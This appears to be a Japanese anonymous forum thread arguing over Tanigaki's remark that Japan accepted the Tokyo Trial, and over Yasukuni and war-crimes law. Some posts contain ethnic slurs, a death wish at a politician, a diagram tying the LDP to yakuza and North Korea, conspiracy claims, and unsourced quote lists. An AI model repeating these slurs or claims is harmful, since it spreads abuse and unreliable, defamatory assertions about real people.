谷垣は事後法を訴求適用されて収監されても納得できるんだな
こいつは一応弁護士だろ

>>236
とっくに忘れるけど。そんな、昔のこと構ってられない。それよか
最近の天安門事件とか現在進行中のチベット、ウィグル、満州、モンゴル弾圧
を問題にしなくっちゃな＾＾

東京裁判を受け入れていない、か。
第二次大戦後の世界秩序を否定するバカ。
そんなものさっさと認めて、次の秩序を目指せばいいのにね。

小物だよこいつは。

ハニ垣ってサンデープロジェクトに出演してたっけ？あんなの出たら媚中、媚韓派ってすぐわかるじゃん。頭悪いな。

>>219
>>221
スレの最初の方読んでないが、俺も問題ない派だ。
日本には罪人でも死後は霊を鎮めようとお参りする文化ある。

中韓に理解できるかどうかはわからんが、日本人的には自然だろ

東京裁判の内容がどうであろうと、靖国問題は関係無い

>>272
正解

>>221
なんらおかしくないな。
極普通のこと。

受け入れたのは判決であって裁判ではない。
捕虜釈放条件を受け入れるには、その前提となる判決を認める必要
があっただけ。

>>257
＞戦犯の規定は虚構だ。その虚構で国民（と天皇陛下）を免罪し、当事国が
＞復興協力する

このことを講和条約交渉において明確に論議して取り決めたなら信義に基いて
黙るべきだが、裏づけとなるような交渉記録とかどっかに出てるか？
なければ勝手な思い込み以外の何ものでもない｡
明文化された条約にのみ基いて判断するほかないだろう｡

諸判決で検索したら何件ヒットすることか、このスレ

シナ共産党の罪業がよっぽど酷いと思うんですけど。

腕ひしぎ逆十字をきめられました→俺はまだ負けてねー
→関節を折られて再起不能


今回は負けた、と率直に認めて、次回を期すのが賢いやり方。
アホですね。

>>247
＞刑死者を神社に祭ること

そもそもココがおかしい。
あくまでも立場は戦犯であって戦死者じゃないのに。

>>268
テメエの国も守れないのに、よその国のこと心配してどうなる？ｗ

罪は否定するが罰は受ける

仮に東京裁判を受け入れていたとしても、戦犯たちは既に国連で名誉回復されてるでしょ？
でなきゃA級戦犯の首相なんて出てこないわけだし、日本の国連加入時にA級戦犯が演説
なんてこと、出来るわけもなし。

「韓国人は併合を受け入れた。全否定は間違いだ」

マフィアがヤクザを射殺すると。
その事実を受け入れることと射殺の違法性を問うことは別問題だな。

部分否定でお願いします。

天皇絡んでくるからパス・・・。

>>266
日本政府は東京裁判の審理の不当を訴えない、てところだけが
ぎりぎり現在も負っている義務だと俺は解釈する｡
それさえ言わなきゃ、当事国との再戦争以外のどんな行動を取っても
講和条約違反にはならないけどな。
当然靖国は関係ない｡

>>280
なら、他の虜刑死者も全て靖国に祀るのをやめますか？

>>280
>あくまでも立場は戦犯であって戦死者じゃないのに。

そもそもココがおかしい。
あくまでも立場は敗戦責任者であって戦犯じゃないのに。

「日本」的な日本というと「大日本帝国」
しか思い浮かばないんだろうな。
単なるバカ。

>>287
だね。確かに東京裁判はデタラメだが、それを政府として声高に訴えてはいかん。
敗戦国なんだからペナルティは負う必要がある。
けれども無実の罪、デタラメの裁判で死に追いやられた戦犯の人々は当然慰霊すべきだし
その為に靖国に行くことに文句を言われる筋合いは欠片も無いな。

われわれは受け入れたって・・・他に選択肢あったと思ってるのか？このバカは。

＞あくまでも立場は敗戦責任者であって戦犯じゃないのに。

判決を受け入れず敗戦責任者という言葉に置き換えたいその思考がおかしい

日本人の好きな言葉遊びの玉虫がはじまったｗ
国内判決なんて世界の目から見ればそんなもんｗ

大日本同胞社（放火テロ）
　　|
日本青年社―自民党―小泉
　　|　　　　　　｜　　　　／
　　|＼＿＿＿遺族会／
住吉会（暴力団）
　　|
北朝鮮（覚せい剤）

　靖国の境内には「鎮霊社」という神社があります。

　あまり知られていませんが、ここでは国籍を問わず全世
界のすべての戦没者を祀っています。つまり靖国神社とは、
戦争によって命を奪われた人すべての魂を鎮めるために建
てられた社なのです。

　戦争の悲惨さを知り、そして戦争の悲しみを一番知って
いるからこそ、靖国神社は敷地内に鎮霊社を祀っています。
これこそ、平和を希求している靖国神社の懐の深さであり、
そこでは、死ねばみな「神」とされます。

>>247
戦死者以外を神社に祭ることが東京裁判の判決あるいは条約で禁じられてるのか？
そうなら判決文か条文の該当個所を示してくれ｡

当時の時代背景で、国の為にした事だったが、結果として犯罪だった。既に人の手によって罪人と裁かれ殺された。処罰した人間の魂までも罪人受けとめるのか？受けとめないのか？死後は神の判断に任せるのか？それは個人の思想の問題なのではないだろうか？

>>292
それは言うべきでない。
選択肢があったにせよなかったにせよ、受け入れたことは事実だ。

だが、その事実をもっていしも、靖国参拝はなんら非難すべき事柄ではない。

よく分かってないので申し訳ないんだが，

無条件降伏したのに，戦勝国がやった裁判が受け入れられないってどういうことよ？
なんか今になって騒ぐのはみっともない気がするんだが．

僕はこの部分は同意だな。
でも、だからこそ靖国に合祀されている現状、魂鎮めの意味で慰霊してあげるべきだよ。

受け入れたのだからいわゆるA級戦犯に全部負いかぶせて悪い人はあの人たちで済ませられるなら
60年も日本人は同じことで悶々としてないよ。
どこかに戦争そのものや、戦後の処理に対して後ろめたさや負い目があるからこそ
悶々としながら自分たちの国のあり方さえ先送りにしてきたのだから。

現時点で見直しをするとしても東京裁判があったうえで今があり、
60年の悶々があって今があるということを「ポジティブに自負として」踏まえ
清算すべきだよ。

>>287
道義というか個々人の問題をごっちゃにして考えるからだめなんじゃないのか？
サンフランシスコ講和条約のどこにも「戦犯を擁護してはいけない」とは書いてないわけで……

>>289
平和に対する罪で起訴されて
判決確定したんじゃないの？

>>299
受け入れられないと騒いでない。勝手な思い込みはいかん。
それから無条件降伏という言葉はおかしい。ポツダム宣言の条件を飲んで降伏したのだからね。
あとよく分かってないのなら学べ。

法理より軍事力の結果を重く見る人間が立法府にいるのっておかしくね？
ぶっちゃけ狂ってね？

>>295
>戦争によって

つまり戦犯は戦争によってではなく、裁判によって命を奪われた人達ですが何か？

谷垣も多少いけずになったか。「全否定」というのは、
日本を善として連合国を悪とする立場。すべてをひっくりかえすこと。
これがとおらないことはわかっている。安部もそんなこと
主張するはずがない。単に東京裁判には間違いがあるといっている
だけだろう。どこが間違っているのか、それが問題になるわけだが。
民主主義国中国を侵略する悪辣な軍国主義国日本という図式は
嘘。これは笑える。

>>257
■戦犯は悪くなかった　なんていってないだろ。
赦免されたって言ってるだけ。社会党のトミ子が中心になって運動した。
>>240
靖国に行ったことないんだな（笑）
神社に位牌が無いことくらい、特亜の人間以外なら知ってるだろ。
靖国に隣りあわせで墓が無数にあるから、あれは何なのだと質問しただけ、ボケ。

事実じゃないか。
東京裁判を受け入れずに一億玉砕していればよかったとでも？

295
国籍を問わず？
単なる金儲けの為なんじゃないの？

罪も無いのに、
連合国のリンチ裁判で罪を擦り付けられて死んで行った日本兵。

日本人をリンチ殺人しても、何一つ罪に問われない連合国。
受け入れたとは、このことだ。

>>280
戦死者以外を神社に祭ることが東京裁判の判決あるいは条約で禁じられてるのか？
そうなら判決文か条文の該当個所を示してくれ｡

296はアンカーミス

>>301
戦争裁判を不当だと言う以外の方法で戦犯擁護するならOKだと思うよ｡
「裁判を受け入れる」という個所を守るためには、さすがに「裁判が不当だ」とは
いえないと思う｡

>>305
講和条約が発効されるまでは戦争は継続中だよ。
そのことは講和条約にも書いている。
戦争継続中に敵軍の捕虜になって処刑されたなら、
明らかに靖国への合祀対象だよ。

捕虜になって刑死した柱は他にもたくさんあるしね。

熱狂の時が過ぎた今、少し見直されてもいいのではと思う。
別に白紙撤回など求めていない。
ただ、誇りを持てる部分の歴史教育も許してほしい。

>>305
戦争処理を含めた「戦事」すべてを「戦争」と解釈するならば
裁判自体による刑の執行も「戦事＝戦争」だと認識できるはずだが。

>>308
結論が間違っているのではなく論理展開がデタラメだから批判されてるだけだ。
それから公的には東京裁判自体を受け入れたのではない（判決を受け入れた）ということは
既に百出していること。そこらへんを勘違いされても困るな

>>303
http://www.ioc.u-tokyo.ac.jp/~worldjpn/documents/texts/docs/19450902.O1J.html
見るとさ
露骨に無条件降伏って言ってるけど違うの？

>>307
＞社会党のトミ子が中心になって運動した。

シンガンスの時のように、
「不当に人権を侵害されている日本人民を助けるためにやったこと。
　まさか高官の敗戦責任までチャラにするものだとは思わなかった」
とか？

えーと、問題点は、
１）一民間の宗教法人が、国民の判断がされていない戦犯を合祀しちゃった件。
２）今度は東京裁判を争点化する、テレ朝と共同について。

の二つでよいですか？

>311
あくまでも戦犯、つまり日本に対し罪を犯した人間。
現実、建前上そうなっている。
つまり犯罪者も祭れ参拝汁というとになるが？

そんじゃ他の死刑囚人、全部祭ったらどうよ？ｗ

>>305
世界史を勉強するとわかるが、講和条約や和平条約を締結して戦争が終わったと考えると実はこれも戦争で死んだと言える。


まぁ、そんな難しいはなしをしなくても、戦争に関わっているからとしてしまえばもうどうでもよくなる。
というかそもそもどうでもいいという考え方もあるが……

　　　`‐､ヽ.ゝ、_　　　　＿,,.. ‐'´　 ／/l , ‐'´, ‐'`‐､＼　　　　　　　 |
　　ヽ､.三 ﾐﾆ､＿ ＿＿＿ _,. ‐'´／/-─==＝＝=-､ヾ 　 　 　 ／ヽ　　>>295
　　　　　　　 ,.‐'´　`''‐- ､._ヽ 　 /.i　∠,. -─;==:- ､ゝ‐;----//　ヾ.､ 戊辰、北越戦争の戦死者もそちらに祭られている。
　　　　　　　[　|､!　 /'￣r'bゝ}二. {`´ '´＿_ （_Y_）,. |.r-'‐┬‐l l⌒　| } だがな「賊軍」のレッテルを貼られ、本殿に祭られない日本人もいうるんだよ。
　　　　　　　 ﾞl |｀}　..:ヽ--ﾞ‐´ﾘ￣ヽd､　''''　 ￣￣　 |l　　　!ﾆ! !⌒ //　 成立から明治帝の御心から離れてしまっているんだ！
　　　　　　 　 i.! l .:::::　　 　 ｿ;;:..　 ヽ､._　　　　　_,ノ'　　　　　ゞ）ノ./
　　　　　　　　 ｀ ｰ＝=--‐'´(__,. 　 ..、　￣￣￣　　　　　　i／‐'／
　　　　　　　　　 i　　　　 　 .:::ﾄ､ ￣ ´　　　　　　　　　　　 l､_／::|　　　
　　　　　　　　　　!　　　　　　　　　　 　 　 　 　 　 　 　 　 |:　 　 |
　　　　 　 　 　 　 ヽ　　　　　ｰ‐==:ﾆﾆﾆ⊃　　　　　 　 　 !::　　　ト､　　

>>319
＞あくまでも戦犯、つまり日本に対し罪を犯した人間。

敵国に対してじゃないの？

で、どこに全否定している政治家がいるんだ？

相手が言ってもいないことを言ったかのように批難かよ

>>319
仮にこれを国内における裁判だとすると、もろに憲法に抵触することになる。
まぁ、出来レースにしてしまえば結果は同じなんだろうが。

受け入れた・・とは、
連合国側の犯罪行為（原爆・無差別空襲・捕虜殺害・リンチ裁判・）
に対する訴追はやりません。
と言う意味。

>>302
戦犯というのは、国際法のルールを破った戦争をした者である。
平和に対する罪や、人道に対する罪は国際法に規定されていない、事後法なのです。

ちゃんと自決しておけば、良かったんじゃないの？
国民には、一億総玉砕を叫んだのに、その首脳連中は・・・。裁判

谷垣は結構バランス感覚があってマットウな事言ってるけれど
財務官僚に洗脳されて財政原理主義・増税第一主義になっている
から氏ね

>>319
＞あくまでも戦犯、つまり日本に対し罪を犯した人間。
これは明らかに誤りだな。
日本が被害者であるなら、その裁判において「日本側(被害者側)の証拠は一切採用しない」なんて
ことが行われるはずがないから。

サンフランシスコ条約破棄しかないな

>>319
＞日本に対し罪を犯した人間

東京裁判を理解できていないなら書かない方がいい｡
「平和に対する」罪であって、日本に対し、などと判決されてはいない｡
しかも、外国による国際軍事裁判と日本の国内法による裁判は全く違う｡
国際軍事裁判によって処刑された「他の死刑囚人」を全部祭るのは当然だが？ｗ

ちょいと書き換えて分かりやすくしてみた。問題点は、
１）一民間の宗教法人が、国民の合祀化判断がされていない戦犯を合祀しちゃった件。
２）今度は東京裁判を争点化する、テレ朝と共同について。

の二つでよいですか？

なんか個人的にＡ級戦犯って騒いでいる人たちは
「あいつら全部悪い、おれは悪くない」って騒いでいるみたいで
イヤだ

逆に考えると面白い。

もしも、日本が勝っていたら、
アメリカ軍兵士の多くが訴追され絞首刑だ。
もちろん、トルーマン、ルーズベルトは死刑。

>>326
そりゃ罪刑法定とかは分かるけどさ
この場合仕方なくない？

ドイツや日本を誰が裁くのさ？

お前ら、ホント単純だなｗ

これを機会に、谷垣を支持しているマスコミやメディア、
お前らの周囲の人間を観察しろや。

いいリトマス試験紙だよ。

>>330
連合国に包囲殲滅されて日本滅亡か？
ミスリードする喪前は半島人認定。

ってか、オマエラの願望が事実認定を妨げている。

戦後の混乱中って感じｗｗｗｗｗｗｗｗｗ

>>335
>ドイツや日本を誰が裁くのさ？

そもそも戦争後の処理を裁判の形式で行う必要はまったくない。
必要なのは講和条約だけ。

日本人は裁判と名の付くものはあくまで公平
って思っているが
敗戦における裁判なんて戦勝国が与える罰みたいなもの

中共がサンフランシスコ講和条約批准に加わっているという発言があったが、
中共じゃないだろ。

>>327
自決していたら、他の誰かが告訴されるだけです。
「みんな死んじゃったから、不問に付します」なんてことはありえないわけで。

>>335
神のみ。

>>334
死刑にはしないでしょ？
日本軍は敵国の大将を無碍には扱わないよ。

>>339
ちゅーことは、講和条約結ぶまでは
勝手に相手国の首相なりを縛り上げて
勝手に銃殺ってことになっても仕方なくない？

国際法で何か規定あるのかな

>>332
一つ目については法的にも道義的にもいかんともし難い。
問題といえば問題かもしれないが決して解決できない問題。
二つ目は勝手にやってろ……とは今だからこそいえるのかな？
それはあとになってからでないとなんとも言えない。

>>332
１）戦死者の慰霊という内政上の重大事について外国が干渉しようとしちゃった件。
２）今度は日本人自身の問題だとか世論を転回させようとする外国の走狗について。

東京裁判なんかよりも、原爆や大空襲で市民を大量に虐殺されたほうが
はるかに重大なんだが。
結局、戦争に負けた側は何されても文句言えないわけよ。

>>307
＞靖国に隣りあわせで墓が無数にあるから、あれは何なのだと質問しただけ、ボケ。
神社は基本的には墓を管理しない。また神式と仏式で墓は違う。

＞その前に神仏の区別ぐらいつけて欲しいものだな。
＞マジで話しにならんわ。


というかそれ以前の基本知識の問題だな…。

日本人が「昭和の戦争」責任を明確にしてこなかった。
読売新聞が一年かけて総括したのを先週載せてた。かなり詳しい。英語版もあるよ。

小泉首相の靖国参拝にアジア各国、当然と理解示す。

★シンガポール　リー元首相：
　「靖国問題も中国が心理的なプレッシャーをかけているだけ」
★台湾、李登輝前総統：
　「国のために命を亡くした英霊をお参りするのは当たり前の事。
　 外国が口を差し挟むべきことではない」
★台湾、陳総統：
　「中国の反発に負けずに靖国参拝をする首相を評価」
★カンボジア：フン・セン首相：
　「戦没者の霊を弔うことは当然のこと」小泉首相の靖国参拝に理解
★インドネシア：ユドヨノ大統領：
　「国のために戦った兵士のためにお参り、当然」靖国参拝に理解
★ベトナム：
　「我々は中国や韓国のような卑怯な外交手法をとるつもりはない」
★オーストラリア・マレーシア・タイ・フィリピン：
　「私たちはまったく問題ではない。問題にするのは中国だけ」
★パラオ、レメンゲサウ大統領：
　靖国参拝に「すべての人のために祈るのは正しいこと」と支持を表明
★ソロモン諸島のケマケザ首相：
　「日本とソロモン諸島の共通の文化は先祖に感謝すること。
　　英霊が祭られている場所を拝見したい」

>>342
私が言っているのは、国民に一億総玉砕を唱えておきながら、
自らは自決するしか責任の取り方は無いでしょう。

>>348
でもあれ、ナベツネさんの主張の「A級戦犯が悪いんだ、それでいいじゃん」
っていう下敷きの上に成り立ってる連載な気がする。
少なくとも僕はそういう前提で読んだ。

つくづくあの戦争やってなければねえ・・・
今頃、サイパンも台湾もパスポート無しだったのに

>>343
軍服を着て公然と武器を持っている者以外の敵国民を殺すことは国際法で禁じられている｡
日本の降伏の場合、ポツダム宣言で降伏条件が示されていて
「吾等ノ俘虜ヲ虐待セル者ヲ含ム一切ノ戰爭犯罪人ニ對シテハ嚴重ナル処罰ヲ加ヘラルベシ」
となっているので、日本軍降伏後に戦争犯罪人以外を殺せば停戦条件違反になる。
そこで、国家指導者をむりやりにでも殺すために戦争犯罪の新概念としてA級やらC級やらを
突然ひねり出して裁判形式で有罪判決するなんて無様な方法を連合国は取ったわけだ｡
それまでの国際法では首相を縛り上げてぶち殺したら国際法違反になるから｡

>>348
戦争の責任など明確できるものなのか？
一人の政治家、一世代の政治家で完結しているものではなく、
前世代からのツケや、時の社会状況のさまざまなしがらみの中で
送ることなのに、明確に個人の責任に収束させられるものなのか？

http://money4.2ch.net/test/read.cgi/seiji/1130212452/200-
アメリカ下院が靖国参拝を非難！！

アメリカ下院は現在も「極東国際軍事裁判の決定、及び“人道に対する罪”を犯した個人に対して言い渡された有罪判決は有効」との立場を取っている（2005年7月14日決議）。

あんた大将にはなれないんだから〜

左翼に汚染されたマスメディアの化けの皮が剥がれてきていることを知れ。
靖国参拝も賛成の方が、明らかに多くなってきている。

大東亜戦争に日本を引きずり込んだのは、ソ連コミンテルンと中共である！
日本は、日本とその周辺国を亡国に導く、覇権拡大の共産主義に立ち向かわ
ざるを得なかった。日本の軍国主義など彼ら側の詭弁に過ぎない。

アジアはおろか、日本人２５０万人の被害の真の敵は、日本の指導者など
ではなく、欧米列強と、その背後の共産主義〜コミンテルンである。

我々日本人が、今、今後に向けて、しいて反省し教訓とすべきことは、
共産主義の謀略や浸透工作に、主要国中、最も鈍感で、蝕まれてしまった
ことである。

左翼はそのイデオロギーの崩壊事実にかかわらず、未だしたたかに浸潤して
いる。我々の内に巣くう、あの不幸な戦争に引きずり込んだ左翼の陰謀に、
もうだまされてはいけない。

日本を存続し、戦争を回避するには、左翼の陰謀に決して乗らずに、自主独立
に向けて、粛々と、国力、情報ルートその他を整備、構築していくことが肝要である。

>>350
自決せず生き恥を晒すことで償う責任もある。
逆にいうと、当時の国民としても、連合国としても死んでもらっては困ったわけで。
そういう意味では、恥を忍んで生きてもらうしかなかった。

【売国奴議員リスト】
加藤紘一
山崎拓
河野洋平
谷垣禎一

>>352
どうだろうか？
どちらにせよ冷戦はあったんじゃないか？
それも、その仮定でいくと誰も核爆弾の威力はわかってないわけで……
ある意味で「冷」戦でなかった可能性は十分にあると思う。
長距離の旅行なんてとんでもない世界になっていたかもしれんぞ？
まぁ、それは戦争(や原爆)があった場合でも完全に否定はできないのは確かなんだけど。

>>353
おお参考になりますた

ってか、それまでの国民国家同士の戦後処理では
負けた側の大将死刑とか無かったっけ？

WW1はルーデンドルフとかヒンデンブルクとか将軍は裁かれてないよね
ドイツ皇帝は亡命しちゃうし

土地と賠償だけで、「はいごめんなさい」なのかな

>>350
一億玉砕だって一方的に政府が国民に押し付けたわけじゃないよ。
国民の中から湧き出た意識でもある。

そもそも、「殺人」である戦争を前提として作られてる時点で、国際法なんてキチガイじみてるんだよ。

極東裁判むしかえしてもあまりいいことないからやめたほうがいいよ。理不尽で不公平なのは
事実だし名誉回復したいのもわかるけどさ。
アメリカやソ連が原爆投下虐殺やベルリン強姦祭の罪を認めるわけないし、下手に追求すると
逆切れしてどんな報復するかわかったもんじゃない。
あの裁判は戦勝国が領土と戦利品を山分けして、特アが日本人の処刑で恨みを晴らして終わった
んだよ。もう突っ込むな。
戦争に負けるとこういうミジメなことになる。

東京裁判は、死刑以上の罪を肯定しているのか?キチガイ谷垣さんよ、ぁあ?

>>358
>自決せず生き恥を晒すことで償う責任もある。
多くの兵士は、その選択を出来ずに死んでいったのではないでしょうか。
兵士にとって「生き恥」ではなく「万歳突撃」「自決」であったはず。

こんなところにウイルス貼り付けてまで言論弾圧とは...

>>351 確かにそう読める。ただ、南京なんたらも、南京城郭に進駐した第１６師団
を指弾しているところを見ると、戦争遂行上の作戦として個別にも、日本国家と日本人として、
日本の指導者責任をはっきりさせたかった、というのがあるし、明確にすることが
外国からの政治色の強い干渉を許さないという観点からも必要なことなのではなかろうか。

>>366
レス三つに対して、全く以って同意だ

無かったことにしようとしてる政治家はいないと思うがな。中韓じゃあるまいし。
名誉回復の為に如何におかしな裁判だったかをアピールすることが全否定になるのかいな。

>>366
自決より不名誉な死に甘んじたんだから文句ないなないの？
A級戦犯の被告たちの自決が何かプラスに働くか？
彼らだって死ぬなんて簡単だったと思うよ。

>>362 一億玉砕
確かに、そういう国民もいただろうな。
アメ公はもっと遠慮せずに、京都でも東京でも原爆で絨毯爆撃でもしてくれればよかったんだよ。
そうでもしないと当時の軍幹部は納得しなかっただろｗ

戊辰戦争で斬首やら強制移住で餓死とかさせてた天皇の軍隊が
負けて絞首刑だとひーひー言うの。美しくないんだけど。

永久戦争犯罪者

「東京裁判」言ってる時点で谷垣は終わってる
極東軍事裁判で連合国から突きつけられた「東京判決」

この違いも理解出来ない様な馬鹿は総理大臣になる資格なんて無い
いわんや「我々は受け入れた」なんて笑止、馬鹿じゃねーの？「我々」って誰よ？

だからー、蒸し返してポツ宣受け入れた昭和天皇が売国奴で戦犯にしたいわけ？
で、何か良い事あるわけ？

やっぱポツ宣拒否して玉砕していた方がよかったかもしれんね。
それが本望なんだろ？おまいら？

Ａ級だって祭られて今更騒がれて国益損ねて喜んでるかのかねー？
何のために芯だんだか。

すくなくともＡ級らが戦争責任を感じていたと仮定して、Ａ級がそもそも靖国に祭られることを望んでいたんですかね？

韓国にもいってあげれば？ｗ

保障の話ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

加藤に釣られちゃったのか。ｗｗｗ

↑お前は馬鹿だな…誰か説明してあげて。面倒くさいから

蒸し返してさ
もう一回日本人が裁くのも良いよね
陸海を統帥する大元帥さんに責任無いのかとかさ〜

>>371
>自決より不名誉な死に甘んじたんだから文句ないなないの？
不名誉なものが、なぜ靖国にいるのでしょうか？
靖国は、戦時中名誉の死を遂げた英霊がいるろだと思います。

>A級戦犯の被告たちの自決が何かプラスに働くか？
プラスに働くよかいう問題ではなく、命令したことを自ら実行して
いないことに問題があると考えています。

谷垣は金玉は中国の手の中にある

>>373
戦争に負けた責任は痛切に感じているけれど、
「平和に対する罪」なんかで死刑になるのは耐えられないってことじゃないのか？

君だって交通事故起こして業務上過失致死に問われるなら仕方ないと諦められるだろうけど、
身に覚えの無い痴漢で軽犯罪法違反に問われるのは耐えられないだろうが。

安倍だって聞かれれば谷垣と同じ発言するだろうよ。
安倍は馬鹿じゃない。日本の立場を分かってはいる。

共産に取り囲まれた優柔不断な近江文麿を首相にした時点で負けは見えてたんだよ。

>>381
それは靖国の御心次第じゃないのか？
まさに靖国主観というやつで……
中にはひろい食いにゆる食中毒で死んだやつもいるんじゃないのか？
いや、いたらそれはそれでなんか微妙な気分になるが。

>>383
戊辰戦争のときは切腹すらみとめられず復讐心にかられた新政府軍に斬首されてた。
立場が逆転するとそういうものなのかー。

>>372
＞そうでもしないと当時の軍幹部は納得しなかっただろｗ
俺の知ってる歴史では、そうしなくても納得してるんだけど？


>>376
安心しろ。
いくら蒸し返したところで、今更昭和帝が戦犯になることはないよ。

>>381
＞不名誉なものが、なぜ靖国にいるのでしょうか？
国のために殉じたから。
当人が不名誉だと思うことと、英霊か否かは関連はないよ。
靖国には捕虜になって刑死した兵士もたくさん祀られている。

＞プラスに働くよかいう問題ではなく
国に対してプラスに働くことが重要。
戦勝の局面によっては命令は変わるのが当然。
なんら問題はない。兵卒の振る舞いと責任を負うべき
指導者の行動は当然違う。

すべてはフリーメーソンの陰謀です

【靖国】「小泉首相の参拝、日本人の53％が支持」

　小泉純一郎首相が8月15日に靖国神社の参拝を強行したことに対し、日本人の半数以上が支持していることが分かった。

　読売新聞によると、15、16日の2日間にわたって行われた世論調査の結果、小泉首相の参拝を「支持する」という意見が53％で、「支持しない」の39％を上回った。

　その理由としては、支持する人の場合は「首相が戦没者を慰霊し、追悼するのは当然だから」という回答が35％と最も多かった。次に「不戦への誓いとなる」（31％）、「中国や韓国から反発されてやめるのはおかしい」（35％）が続いた。

「我々」ってのが国民全てだとしたら、
国民に信任された小泉の靖国参拝だって受け入れる対象になってしまうだろうに。

議員の分際で国民の意思にケチつけようってのか？

谷垣痴呆か？

靖国参拝の否定発言は問題ないにせよ、この発言は…

国益に全くそぐわん。

>>380
日本がもう一回裁いてもいいけど、そしたら大元帥はじめ国家指導者の
全員が無罪になるよ｡
日本は罪刑法定主義だから、戦前の刑法または軍法で裁くことになるし、
もし刑法に違反していても、60年も前のことだから全部時効、
有罪の要件満たしそうなのは戦場での非戦闘員殺害とか捕虜虐待くらいだろうね。

しかしそれ以前に被疑者死亡により不起訴。

受け入れるとかじゃなくてさ
もう一度しっかりと国連主導で良いから歴史認識をしようって話だろ
日本人は諸外国と違って精神面での進化を遂げてきた民族なんだからもう少し自分の発言に責任を持て>谷垣

＞もう一度しっかりと国連主導で良いから歴史認識をしようって話だろ

（ ﾟ∀ﾟ）ｱﾊﾊ八八ﾉヽﾉヽﾉ ヽﾉ ＼ /　 ＼　/　　＼ /　 　＼ 無理

>>388
>>プラスに働くよかいう問題ではなく
>国に対してプラスに働くことが重要。
国にプラスに働くとは誰が決めたのでしょうか？
彼らを戦犯として裁くことが出来ないと言われるのなら、
プラスに働くことも決めることは出来ない。

東京裁判に関わった多くの人が不当性を認めてるのに日本人はめでたいですね。

>>396
＞国にプラスに働くとは誰が決めたのでしょうか？
当時の日本政府や、ＧＨＱ。
彼らが自決せず裁判による刑を受け入れるように説得した。

谷垣は安倍派だったのか(´・ω・`)

>>117
天皇は監督責任は有るかもしれないが、戦争責任は無いな
まして国際法には違反なんてして無いから無意味な議論
天皇自ら「米国との外交的和解に全力をつくせ」と政府に注文。
天皇に絶対的忠誠心を持つ東条首相はこれまでの交渉を全面的に見直し日本が米国に譲歩出来る
ギリギリの条件の詰めを行なった。１０月３０日に外務省に届いた野村大使からの電報内容は以下の文面だった。
「三国問題と通商問題は米国の了解が取れたので、後は仏印と支那からの撤退のみ」
そして東郷外相によって下記の内容に纏められた。
「国民政府との和平協定を結び、２年以内に支那から撤兵する。仏印からは共同防衛の必要が消滅した時点で　撤兵する」

東京裁判は受け入れたよ。
確かに受け入れたが当の連合国が
あの裁判は間違いだったって認めてるし
国内からも国外からも戦犯はとっくの昔に赦免されてる。
なんで今更蒸し返すんだ？

国連主導で歴史認識？？？

タニー…空気よめよな…

しかし、ここはウィルスがあるね・・・

あーー　不思議

>>395
現体制ではむりだろうね
だからこそ日本がこれからどうやって国連改革に取り汲んでいくかが大事になってくる
それが戦争で死んでいった人達のために、そしてこれからも戦争を起こさないために日本人がやるべきことだと思う

罪があろうとなかろうと償われた。
彼等はもう罪人じゃない。
この汚い心で否定するな！

>>400
結局、仏印からは引かず
国府軍とも講和せず、トラウトマン工作も蹴っ飛ばし
交渉相手に奇襲ってなったのはどういう訳なんだぜ？

ま、谷垣が総裁になることは100%まず無い。

>>400
>まして国際法には違反なんてして無いから無意味な議論
誰に責任があるかはいいですけど、「宣戦布告」をしていないことは
違反でしょうね。

谷垣がこんなに馬鹿だったとは、初めて知った。
今後、要職につかないように、させるべきだ。

>>405
事実は認識を共通化できても、
その評価を共通化するのは無理。現体制でも未来体制でもね。
無理だし、評価を共通化する必要もないし、評価をひとつに定めて
それに従わせるなんてことを行うべきではない。

>>401
中国すら認めてるのにね。

オレもパソコンでこのスレ見ようとしたら「トロイの木馬が検出され〜(略)〜削除しました」って出たよ＿|￣|○
何でそんなもんがスレに仕込まれてんだよ

ウィルステロ

☆おまいら見たいな低脳は靖国問題お煽っておけばうまく失政をごまかせるからな　馬鹿で助かるよ

【労働環境】「就職氷河期世代の年長フリーターの固定化、社会負担増」　労働経済白書[060808]
http://news18.2ch.net/test/read.cgi/bizplus/1155042366/l50
【労働環境】｢偽装請負｣：ハローワーク不正求人500件以上、今年3月以降分だけで・東京都内 [06/08/17]
http://news18.2ch.net/test/read.cgi/bizplus/1155826280/l50
【労働環境】20代の所得格差広がる:年収150万円未満2割超、半面500万円以上も増加…労働経済白書 [06/08/08]
http://news18.2ch.net/test/read.cgi/bizplus/1155047140/l50
【労働環境】松下電器系MPDP社員、請負会社に大量出向…｢偽装請負｣違法性回避策？ [06/08/01]
http://news18.2ch.net/test/read.cgi/bizplus/1154385650/l50
【労働環境】労働法制見直し始動　一定年収で残業代なくす制度も提案[06/06/14]
http://news18.2ch.net/test/read.cgi/bizplus/1150215040/l50
【労働】松下PDP、「派遣」で補助金受給後、「請負」に変更 −赤旗−[8/8]
http://news18.2ch.net/test/read.cgi/bizplus/1155037491/l50
【企業】トヨタ系が労災事故を労働基準監督署に報告せず　愛知のトヨタ車体精工[060813]
http://news18.2ch.net/test/read.cgi/bizplus/1155429558/l50
【厚生労働省】雇用改善で少子化対策を…労働経済白書「格差」に警鐘[2006/07/17]
http://news18.2ch.net/test/read.cgi/bizplus/1153083061/l50
【格差】貧困率 日本、先進国で2位 OECD報告：格差拡大を懸念 [06/07/20]
http://news18.2ch.net/test/read.cgi/bizplus/1153416899/l50
【給与格差】正社員と非正社員、給与格差が4割に・厚労省調査 [06/03/23]
http://news18.2ch.net/test/read.cgi/bizplus/1143123950/l50
【不祥事】労災根絶を目的に設立された厚労省所管法人(奥田碩トヨタ会長)　申告漏れで追徴課税を受ける[4/28]
http://news18.2ch.net/test/read.cgi/bizplus/1146195577/l50

硫黄島の映画が公開されるね。
スピルバーグ、クリントイーストウッド製作。
アメリカと日本からみた硫黄島の戦いの2本。

こいつ公務員の裏金は逮捕されない事をいいことに、更に
国民から税金を吸い上げようとしているやつだろ
官僚の手先で吸い上げた金を自分の懐か中国や韓国に日本の税金を横流しする
つもりだろ

この問題に限らず、すべての元凶は朝日とそれに同調する反日マスゴミ

>>405
ワロステロ

アメリカの原爆投下も、日独に対する無差別空爆も、ソ連のポーランド侵攻も、ベルリンにおけるレイプもすべて国連で裁けるとでも？

>>411
南京で日本軍が
・一般市民　・便衣兵　・投降兵　・捕虜
・脱走捕虜　・蜂起市民　・間諜
をそれぞれ何人くらい、合計何人くらい殺したか、ってだけの
事実の共通化だけですら、そのために日本か中華人民共和国の
体制変革が必要になるほどの困難事だと思います｡

消費税を１０％にして中国へのＯＤＡを増やしたいひとだね。

「捏造うぜえ」
「嘘は嫌いだ」

こう主張するだけであなたも今日から右翼です。

